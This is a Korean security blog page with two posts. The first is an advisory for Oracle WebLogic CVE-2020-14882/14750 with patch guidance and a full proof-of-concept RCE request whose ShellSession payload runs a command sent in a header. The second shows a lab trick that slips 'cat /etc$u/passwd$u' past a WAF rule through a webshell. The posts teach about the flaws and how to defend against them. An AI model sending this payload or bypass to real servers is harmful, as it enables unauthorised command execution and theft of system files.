보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

※ 개요

 - Oracle의 WebLogic Server에서 발견된 취약점

 - 공격자는 해당 취약점을 이용하여 RCE(원격코드 실행)가 가능함. 이는 인증 없이 원격에서 명령어 실행이 가능한 취약점으로써 굉장히 크리티컬한 취약점이라 할 수 있음 ( CVSS Score 9.8 )

 

※ 설명

 - admin portal(기본 설정은 TCP port 7001)에서 발생되는 exploit

 - double-encoded path traversal %25%2E%25%2E%252F 과 admin portal console.portal 이 요청 URI에 포함된다는 특징이 있음

 - 단순히 패턴으로 차단할 경우에는 다음과 같은 기법들을 통해 우회될 수 있으니 보안패치할 것을 권고함

 

□ 영향을 받는 제품 및 버전

제품명 영향받는 버전 CVSS Score(3.1)
WebLogic Server 10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
9.8

 

※ 대응방안

 - Oracle社 홈페이지에서 Patch Availability Document를 참고하여 최신 버전으로 업데이트 적용

 - 영향받는 버전은 아래의 패치 적용

  • oracle-weblogic-10_3_6_0_0-apply-patch-32097188
  • oracle-weblogic-12_1_3_0_0-apply-patch-32097177
  • oracle-weblogic-12_2_1_3_0-apply-patch-32097173
  • oracle-weblogic-12_2_1_4_0-apply-patch-32097167
  • oracle-weblogic-14_1_1_0_0-apply-patch-32097180
  • oracle-weblogic-cve-2020-14750

 

※ PoC 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: XXX.XXX.XXX.XXX:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
 
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");
 
cs

 

 

===============================================================================

(참고)

- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35761 

- https://github.com/jas502n/CVE-2020-14882

- https://programmersought.com/article/56287596430/

- https://www.rapid7.com/blog/post/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/

반응형

'Hacking > Web' 카테고리의 다른 글

ASP.NET ViewState deserialization  (0) 2021.08.19
WAF bypass using an uninitialized Bash variable  (0) 2021.07.16
Liferay Portal RCE ( CVE-2020–7961 )  (0) 2020.08.14
XSS In event handler  (0) 2020.08.06
Content Security Policy(csp)  (2) 2020.07.28
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

악성 HWP 문서분석

2021. 7. 16. 16:10

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

KISA에서 진행하는 2021년도 실전형 정보보호제품군 초급 2차과정을 진행하다가 재미있는 것을 발견하여 기록해둔다.

해당 과정에서는 ModSecurity라는 WAF을 운영하여 웹 취약점들을 차단하는 실습을 진행하였다.

 

1. 설정되어 있는 방화벽 룰

우선 현재 적용되어 있는 방화벽 룰을 확인해보자.

/etc/passwd를 막는 방화벽 룰

해당 방화벽 룰에서는 /etc/passwd라는 문자열 자체를 방어하고 있다.

이를 우회하는 방법은 다양하지만 이번에 진행하는 방법은 초기화되지 않은 bash 변수를 사용해보겠다.

 

2. 초기화되지 않은 Bash 변수

여기서 말하는 초기화되지 않은 bash 변수란 $u를 말한다.

아래 그림을 보자.

초기화되지 않은 변수

 

리눅스 bash 쉘에서 다음과 같이 초기화되지 않은 변수를 echo로 출력해보면 아무것도 출력되지 않는 것을 볼 수 있다.

즉 초기화되지 않은 변수는 ""를 의미한다는 것이다.

이를 공격에 적용해보자.

 

3. 공격에 활용

우선 웹쉘을 통해 cat /etc/passwd 명령어를 날리면 아래 그림과 같이 방화벽에 의해 차단됨을 확인할 수 있다.

방화벽에 의해 차단된 공격

 

이제 여기에 위해서 설명한 초기화되지 않은 변수를 활용하게 되면 다음과 같이 방화벽 우회가 가능하다.

방화벽 우회 : cat /etc$u/passwd$u

다음과 같이 초기화된 변수를 길게 사용할 수도 있다.

긴 초기화되지 않은 변수명 사용

 

4. 대응방안

 - 해당 공격방법을 막기 위해서는 $ 문자를 방화벽에서 차단하면 된다. 하지만 수많은 오탐이 발생할 수 있기 때문에 단순히 $를 차단하는 것은 권고하기 어렵다.

 - 따라서 오탐을 최대한 방지하면서 해당 공격 패턴을 막기 위해서는 공격을 시도하기 위해 특수문자를 많이 사용할 가능성이 크므로 4번 혹은 그 이상 특수문자를 사용할 경우 차단하는 방식으로 가는 것을 권고한다.

 - 가장 추천하는 방식은 시큐어코딩을 통해 이러한 공격 자체가 안되도록 하는 것이 BEST이다.


( 참고 ) https://www.secjuice.com/web-application-firewall-waf-evasion/

반응형
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

쉘 코드 분석

2021. 7. 16. 00:37

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.